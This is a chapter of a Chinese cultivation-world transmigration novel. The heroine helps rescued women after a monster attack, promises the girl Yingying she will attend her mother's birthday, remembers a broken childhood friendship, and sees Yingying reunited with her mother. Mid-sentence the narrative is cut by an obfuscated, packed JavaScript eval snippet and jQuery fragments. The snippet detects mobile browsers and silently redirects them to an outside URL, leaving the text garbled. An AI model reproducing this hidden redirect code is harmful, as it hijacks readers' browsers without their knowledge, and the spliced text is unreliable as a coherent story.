送走昭阳后,苏遥夜回去发现兰春还在原地站着,似乎变成一尊望女石。
知道这种情况,任何安慰的话都只是伤口上撒盐,苏遥夜便问了她以后的打算。
兰春是先皇后还是太子时捡回去的落难孤女,她没有亲人朋友,所有的牵绊和记忆都在遥远,不可能回去的皇宫里。
现在,她又一无所有了。
“以后要做什么?”兰春苦笑了下,“我也不知道,至少先弄个过得去的身份吧。”
“这个我可以帮忙,”苏遥夜说,“你是要留在南靖还是回东苍?”
没有犹豫的,兰春选择回东苍,也许是为了更好地打听昭阳的消息,也许她还抱着能再见昭阳的想法。
总之苏遥夜让兰春先下山,去他们的营地那边等自己,任务结束后她就帮兰春回东苍。
塞给了兰春点符纸,保证她能安全下山后,苏遥夜转身回去找温孤言。
她离开的时间不短,但这边的事还没解决完。
医修已经赶过来,帮那个小产的姑娘保住了性命,现在那姑娘正抱着医修的手哭着求她把孩子拿掉,另外还有三个有孕的也是如此。
几名医修都是姑娘,也能理解她们的难处,考虑再三后同意了。
于是众人都在原地等着医修帮那几名姑娘拿掉孩子。
“这样也挺好,”苏遥夜说,“医修帮忙打胎至少性命无虞。”
医疗手段落后的时代,那些打胎方法简直就是在谋杀。
以前苏遥夜接过一个任务,是青楼里闹鬼。捉住那个鬼魂一问,得知她是怀了孩子,老鸨将她绑起来,猛锤她的肚子给她打胎。
最后孩子下来了,人也没挺过去。
“人送走了?”温孤言瞥她一眼。
“嗯。”苏遥夜点头。
温孤言欲言又止的目光在苏遥夜身上停了会,就在苏遥夜要开口询问的时候,他忽然伸手过来,看角度似乎是要来摸苏遥夜的头。
“做什么?”苏遥夜往后一躲,警惕地看着温孤言。
说话就说话,突然动手是什么毛病?
“你头上有树叶。”温孤言倾身,手指夹住她发间的叶子。
叶柄勾住了苏遥夜的头发,取下来时将那缕头发扯出来了一点。
“你就不能更细心点吗?”苏遥夜捏着在脑袋上突出一个小环的头发说。
“我也想,但你躲得太远了,我手臂没那么长。”温孤言淡淡道。
苏遥夜白他一眼:“那你可以坐回去,我自己来。”
“我做事没有半途而废的习惯。”温孤言的理由十分冠冕堂皇,听得苏遥夜白眼要翻上天了。
显得你。
一边腹诽,苏遥夜一边摘下发簪重新弄头发。
这具身体头发很长,女子发髻梳起来也很麻烦,每到这个时候苏遥夜就会庆幸自己穿的是个修士,很多麻烦事都能用法术解决。
手一抬,立马就能换个新发髻,比戴假发还方便。
苏遥夜摸摸整齐的头发,苦中作乐地感慨,穿越到这么个倒霉地方也就这点好了。
身后传来脚步声,苏遥夜侧头看去,见是被救姑娘中的一位。
“之前在山洞里,多谢仙君救我。”莹莹对苏遥夜说。
当时她在人群最前面,几乎以为自己死定了,结果天降救兵,这让她对苏遥夜的好感直接拉到最高。
“没事,我应该做的。”苏遥夜笑道。
毕竟能力越大,责任越大嘛。
自从穿越以后,在青云大陆的倒逼下,苏遥夜感觉自己的觉悟越来越高了,已经成为一名脱离低级趣味的修士。
莹莹是个自来熟的,绕道苏遥夜另一边坐下,几句话就和她聊热络了。
看着苏遥夜笑靥如花的脸,温孤言默默叹气,将自己打完的聊天腹稿撕碎,将脸转向一边。
“话说仙君,现在是几月几日?”莹莹想起件重要的事,抓着苏遥夜的手臂问。
“六月十三,怎么了?”苏遥夜不明所以。
“六月十三?!”莹莹大惊,那不马上就要到她娘亲的生辰了。
一时想不到能送什么礼物给纪婶子,莹莹便将烦恼同苏遥夜说了,央着她给个建议。
苏遥夜遇到父亲节母亲节和爸妈生日的时候,也会给爸妈挑礼物,因此经验丰富。
“自己做肯定是最省钱的,但是费时间。时间紧迫可以买点小首饰什么的,不用太贵,反正你送了她就会开心的……”苏遥夜说一句,边上的莹莹就点一点头。
“实在不行可以做两个菜,采些野花送给她。”
总结就是只要有爱,你送什么在她那里都是无价之宝。
莹莹又点了点头,几乎变成一个点头机。
“对了,我娘亲生辰在六月二十,仙君那时还在这里吗?”她眼睛亮晶晶地问。
算算时间,苏遥夜道:“在,怎么了?”
“到时候请仙君们来一趟我家吧,我亲自下厨做一顿大餐答谢你们。”莹莹说,“我娘亲肯定也会想亲自见一见仙君,答谢你们的。看在寿星的份上,仙君答应吗?”
“你们”指的是苏遥夜和温孤言两人,毕竟救人的时候温孤言也是出了不少力的,莹莹不想厚此薄彼。
在莹莹真诚热切的攻击下,苏遥夜很快就举手投降,答应了她的邀约。
而被概括在“们”里的温孤言:“……”
等莹莹走后,温孤言才看向苏遥夜:“你就这么代替我决定了?”
苏遥夜“啊”了声,好似终于想起来似的问:“所以你去不去?”
“……”温孤言深吸一口气,“去。”
吃吃地笑起来,苏遥夜眼睛弯成月牙状。
七天后,剿灭任务应该完成的差不多了,她到时还要送兰春回东苍,正好顺路,不过多停留一阵的事。
而且对于莹莹这样遭遇的女孩,苏遥夜真的很难拒绝她们的愿望。
反正又不是什么过分的要求,去一趟又能怎么样。
终于,不远处的医修们忙完了。
刚打胎的姑娘非常虚弱,只能多分几个人把她们抬回去,苏遥夜和温孤言刚好就抽中了护送她们下山的签。
早知道就不让兰春一个人下去了,送人的时候一起带下去多方便,还省几张符。
默默叹了口气,苏遥夜拿流月叠成担架的样式,让它抬着人飘在空中。
有灵力就是方便,完全不用担心颠簸磕碰。
一行人整整齐齐地朝山下走去。
“仙君,昭阳已经走了吗?”莹莹又凑了上来。
得知苏遥夜也在送她们下山的人里面,她特别高兴,因为又可以多和她说些话了。
大概是刚得救不久的缘故,莹莹特
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262880|193529||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别兴奋,如果可以,她可以滔滔不绝地说上三天三夜。
苏遥夜点头。
“所以她真的是公主?”莹莹不敢置信地捂住嘴。
“这个……我不知道。”苏遥夜别开视线。
昭阳的身份知道的人越少越好。
从苏遥夜的停顿里,莹莹得到了答案。她是个很聪明的姑娘,明白苏遥夜不说的原因。
“这事昭阳只和我说过,”她低声道,“放心吧,我不会说出去的!”
作为朋友,她会为昭阳保护好这个秘密的。
“希望她一切都好。”莹莹看向远处,雀跃地跳了几步。
她就像石头缝里一颗顽强生长的野草,哪怕遭遇最严酷的打压,马上就要死去,只要给丁点的阳光和水就能支棱起叶子,继续生长。
除了过于消瘦的身形,攫猿造成的阴霾似乎已经完全从她身上褪去。
苏遥夜看着她的背影,恍惚间想到了岳远晴。
在上高中以前,她很少会看到岳远晴的背影。
因为两个人中,她一直是好动、跑得快的那个,往往是她跑在前面,岳远晴在后面追。
高中后,两个人开始疏远。去食堂吃午饭和回家时,苏遥夜经常能看到岳远晴孤单的背影,但她心里憋着气,从没主动去打过招呼。
后来有几次岳远晴主动想和她说话,每次都是打完招呼就没有下一句了,苏遥夜就转身走了。
自从在火锅店岳远晴说过那番话后,她们整个高中都没和好。
队伍走到山下,视野陡然开阔,前来接应的人早等在结界旁边。
对接完成,苏遥夜刚要跟着其他人一起回去继续任务,忽然听见莹莹叫她。
“仙君!答应我的事别忘了!”莹莹朝她招手,笑容比阳光还要灿烂。
“不会忘的!”苏遥夜道,“答应的事我一定做到!”
周围阳光似乎变得更加刺眼,光海的拍击中,两人的身影逐渐模糊。
轮廓扭曲重组,两个小女孩牵着手从海浪中走出。
其中一个牵着另一个的手,认真地许诺:“别怕,以后遇到危险的时候,我会第一时间来到你身边的。”
我会一直陪着你。
我们会是永远的好朋友。
不论发生什么,只要你需要,我都会来接你的。
她曾经这样对岳远晴许诺过。
东苍鸿云峡附近的小村子,近来官府陆陆续续地有送被攫猿掳走的人回来。
纪婶子每天干完活就在村口等着,望眼欲穿地盯着道路尽头,希望出现她那个日思夜想的身影。
“婶子,马上天黑了,我们先回去吧。”雪眠每日也陪着她一起等,见天色渐晚,忍不住开口劝道。
“我再等等。”纪婶子摇头。
她想第一时间就看到女儿回来的身影。
天边的太阳彻底落山了,彩霞在山头消散。纪婶子叹息一声,在雪眠的劝说中转身。
“娘亲!”
刚迈出一步,晚风就捎来了让纪婶子心头狠狠一揪的声音。
她霍然回首,在漫延的夜色中看到了归家的女儿,眼泪瞬间就淌下来。
“莹莹!”
“娘亲,我好想你!”
夜色追上来,温柔地覆盖住了相拥的母女二人。
一旁的雪眠也忍不住热泪盈眶。